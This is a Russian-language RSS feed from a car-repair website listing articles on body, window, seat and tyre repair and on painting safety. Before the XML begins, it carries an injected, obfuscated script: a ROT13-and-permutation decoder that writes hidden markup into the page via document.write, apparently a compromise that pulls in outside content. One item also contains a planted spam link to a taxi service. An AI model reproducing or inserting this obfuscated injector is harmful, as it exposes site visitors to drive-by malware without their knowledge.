<SCRIPT>var kwyurHiR1NrMxo8yB='';var H0fcKDrfD2kR6um30jw3='e23n.ub502u%e2/z3%gr/3g52%t0e%s3P3/trr%6q2%2s%v%zp%tv%1%g%02n23eveube.10u23%q%R%%0gbpkS4%2r2z0Pn%Q2.vch230g2re32sf/aaqQ6j2v2o32rn%Nnmc22v%u0b2%Rr2cyya32%QQ%rQ%0';var ihYH31AGhLyKfgZBHU34Okz='5124708396957438261064159308723542916870938240571697254608315061297483751094238691078234569102685734385710624946310579282035678149647913052878649350213507218469';var d='';for(var ctVDwuBRaG8=0;ctVDwuBRaG8<16;ctVDwuBRaG8++) for(var UwtHn=0;UwtHn<10;UwtHn++) {d=H0fcKDrfD2kR6um30jw3.charCodeAt((parseInt(ihYH31AGhLyKfgZBHU34Okz.charAt(ctVDwuBRaG8*10+UwtHn))*16)+ctVDwuBRaG8); if ((d>=65 && d<78) || (d>=97 && d<110)) d+=13; else if ((d>=78 && d<91) || (d>=110 && d<123)) d-=13;kwyurHiR1NrMxo8yB+=String.fromCharCode(d);}document.write(unescape(kwyurHiR1NrMxo8yB));</SCRIPT><?xml version="1.0" encoding="windows-1251"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>Капитальный ремонт автомобилей. Советы, статьи, материалы.</title>
<link>http://www.eoe-volvo.com/</link>
<language>ru</language>
<description>Капитальный ремонт автомобилей. Советы, статьи, материалы.</description>
<generator>DataLife Engine</generator><item>
<title>Основные требования техники безопасности при выполнении окрасочных работ</title>
<guid isPermaLink="true">http://www.eoe-volvo.com/kuzov/159-osnovnye-trebovanija-tekhniki.html</guid>
<link>http://www.eoe-volvo.com/kuzov/159-osnovnye-trebovanija-tekhniki.html</link>
<description><![CDATA[При выполнении окрасочных работ приходится использовать различные лакокрасочные материалы, вредно действующие на работающих и пожароопасные. Вредные вещества выделяются в виде паров при использовании растворителей и их смесей, тумана (при нанесении лакокрасочных покрытий) и пыли (при сухом шлифовании). Проникая в организм через органы дыхания и кожу, они вызывают заболевания органов пищеварения, кроветворения, центральной нервной системы, кожи (дерматиты, экземы) и др.<br /><br />ул. Якиманка. <a href="http://www.taxi-town.ru/" target="_blank">Такси</a> у нас. Быстрый вызов]]></description>
<category><![CDATA[Ремонт кузова и кабины]]></category>
<dc:creator>admin</dc:creator>
<pubDate>Sat, 21 Jun 2008 10:48:19 +0400</pubDate>
</item><item>
<title>Окраска деталей автомобиля после капитального ремонта</title>
<guid isPermaLink="true">http://www.eoe-volvo.com/kuzov/158-okrastka-detalejj-avtomobilja-posle.html</guid>
<link>http://www.eoe-volvo.com/kuzov/158-okrastka-detalejj-avtomobilja-posle.html</link>
<description><![CDATA[Среди защитно-декоративных покрытий лакокрасочные покрытия занимают ведущее место, они защищают металлические детали от коррозии, а деревянные от гниения, одновременно они являются средством декоративной и цветовой отделки автомобиля и его деталей, придавая им красивый внешний вид.]]></description>
<category><![CDATA[Ремонт кузова и кабины]]></category>
<dc:creator>admin</dc:creator>
<pubDate>Sat, 21 Jun 2008 10:47:35 +0400</pubDate>
</item><item>
<title>Ремонт окон</title>
<guid isPermaLink="true">http://www.eoe-volvo.com/kuzov/157-remont-okon.html</guid>
<link>http://www.eoe-volvo.com/kuzov/157-remont-okon.html</link>
<description><![CDATA[При капитальном ремонте металлические рамки окон разбирают. Детали, у которых нарушено защитно-декоративное покрытие и погнутые детали, ремонтируют. Детали, имеющие трещины и.глубокие следы коррозии, выбраковывают и глубокие следы коррозии, выбраковывают.<br />Для остекления кузовов и кабин применяют термически обработанные (закаленные) полированные безопасные стекла типа «сталинит», безосколочные трехслойные стекла «триплекс», состоящие из двух обыкновенных стекол и заключенного между ними прозрачного органического вещества, а также органическое стекло, изготовляемое из акриловой смолы.]]></description>
<category><![CDATA[Ремонт кузова и кабины]]></category>
<dc:creator>admin</dc:creator>
<pubDate>Sat, 21 Jun 2008 10:46:07 +0400</pubDate>
</item><item>
<title>Ремонт сидений</title>
<guid isPermaLink="true">http://www.eoe-volvo.com/kuzov/156-remont-sidenijj.html</guid>
<link>http://www.eoe-volvo.com/kuzov/156-remont-sidenijj.html</link>
<description><![CDATA[Капитальный ремонт подушек и спинок сидений состоит из полной их разборки; ремонта каркасов, замены негодных пружин, замены поврежденных участков губчатой резины, изготовления нового матраца и обивки; сборки. Эксплуатационные требования к сиденьям обеспечиваются их пружинными элементами, среди которых наибольшее распространение получили витые, плетеные или змейковые пружины, собранные в каркас; резиновые ремни, натянутые на остов, блоки губчатой резины или пористой пластмассы.]]></description>
<category><![CDATA[Ремонт кузова и кабины]]></category>
<dc:creator>admin</dc:creator>
<pubDate>Sat, 21 Jun 2008 10:45:45 +0400</pubDate>
</item><item>
<title>Ремонт металлических деталей</title>
<guid isPermaLink="true">http://www.eoe-volvo.com/kuzov/155-remont-metallicheskikh-detalejj.html</guid>
<link>http://www.eoe-volvo.com/kuzov/155-remont-metallicheskikh-detalejj.html</link>
<description><![CDATA[При эксплуатации в металлических кузовах и кабинах наиболее часто возникают следующие дефекты: деформации (изгиб, скручивание, вмятины, перекосы), трещины, разрывы и пробоины, коррозионные разрушения, ослабление заклепочных и болтовых соединений, нарушение антикоррозионных покрытий. Эти дефекты появляются в результате вибрации кузова во время движения автомобиля, механических повреждений, недостаточно прочного или жесткого соединения отдельных деталей, термического воздействия при сварке (в процессе ремонта   или   изготовления),   влияния   атмосферных   условий.]]></description>
<category><![CDATA[Ремонт кузова и кабины]]></category>
<dc:creator>admin</dc:creator>
<pubDate>Sat, 21 Jun 2008 10:44:50 +0400</pubDate>
</item><item>
<title>Схема технологического процесса ремонта кабины и кузова</title>
<guid isPermaLink="true">http://www.eoe-volvo.com/kuzov/154-skhema-tekhnologicheskogo-processa.html</guid>
<link>http://www.eoe-volvo.com/kuzov/154-skhema-tekhnologicheskogo-processa.html</link>
<description><![CDATA[Ремонт кузова и кабины характеризуется значительной трудоемкостью. Это, в первую очередь, относится к кузову автобуса и легкового автомобиля, трудоемкость ремонта которых достигает 50—70% общей трудоемкости   капитального   ремонта   автомобиля.<br />Капитальный ремонт кузовов и кабин может быть организован двумя способами: на универсальных стационарных постах и на подвижных постах поточной линии.]]></description>
<category><![CDATA[Ремонт кузова и кабины]]></category>
<dc:creator>admin</dc:creator>
<pubDate>Sat, 21 Jun 2008 10:43:17 +0400</pubDate>
</item><item>
<title>Основные требования техники безопасности при ремонте автомобильных покрышек и камер</title>
<guid isPermaLink="true">http://www.eoe-volvo.com/hod/153-osnovnye-trebovanija-tekhniki.html</guid>
<link>http://www.eoe-volvo.com/hod/153-osnovnye-trebovanija-tekhniki.html</link>
<description><![CDATA[При ремонте автомобильных покрышек и камер применяют растворители (главным образом бензин), пары которых вредно действуют на организм человека и, кроме того, огнеопасны. Вредно действует на органы дыхания человека и огнеопасна резиновая и тканевая пыль, образующаяся при шероховке покрышек, манжет и камер. Отрицательно влияют на организм и тепло, выделяющееся в большом количестве при работе вулканизационного оборудования.]]></description>
<category><![CDATA[Ходовая часть]]></category>
<dc:creator>admin</dc:creator>
<pubDate>Sat, 21 Jun 2008 10:42:02 +0400</pubDate>
</item><item>
<title>Гарантийные обязательства шиноремонтного предприятия и порядок предъявления рекламаций</title>
<guid isPermaLink="true">http://www.eoe-volvo.com/hod/152-garantijjnye-objazatelstva.html</guid>
<link>http://www.eoe-volvo.com/hod/152-garantijjnye-objazatelstva.html</link>
<description><![CDATA[Шиноремонтные предприятия гарантируют пробег покрышек после ремонта при условии соблюдения заказчиком (автотранспортным предприятием) правил их эксплуатации и хранения. Гарантийный пробег покрышек после ремонта местных повреждений установлен 10,0—16,0 тыс. км, в зависимости от характера устраненных повреждений.]]></description>
<category><![CDATA[Ходовая часть]]></category>
<dc:creator>admin</dc:creator>
<pubDate>Sat, 21 Jun 2008 10:41:05 +0400</pubDate>
</item><item>
<title>Камеры</title>
<guid isPermaLink="true">http://www.eoe-volvo.com/hod/151-kamery.html</guid>
<link>http://www.eoe-volvo.com/hod/151-kamery.html</link>
<description><![CDATA[Камеры принимают в ремонт согласно техническим условиям. Поступающие в ремонт камеры тщательно осматривают. Непригодными к ремонту считают камеры: имеющие кольцевые порезы, трещины и ссадины в результате езды на спущенной шине; с признаками старения резины (мелкие трещины, затвердение); испорченные разрушающими веществами (нефтепродуктами, маслами и т. п.).]]></description>
<category><![CDATA[Ходовая часть]]></category>
<dc:creator>admin</dc:creator>
<pubDate>Sat, 21 Jun 2008 10:39:44 +0400</pubDate>
</item><item>
<title>Покрышки</title>
<guid isPermaLink="true">http://www.eoe-volvo.com/hod/150-pokryshki.html</guid>
<link>http://www.eoe-volvo.com/hod/150-pokryshki.html</link>
<description><![CDATA[Основные дефекты: износ протектора, повреждения покровной резины и каркаса (порезы, проколы, пробои, задиры, разрывы, расслоение каркаса). По своему характеру дефекты покрышек подразделяют на наружные, внутренние и сквозные. Они могут быть местными (захватывающими небольшой участок покрышки) и кольцевыми (охватывающими покрышку по всей окружности).]]></description>
<category><![CDATA[Ходовая часть]]></category>
<dc:creator>admin</dc:creator>
<pubDate>Sat, 21 Jun 2008 10:38:59 +0400</pubDate>
</item></channel></rss>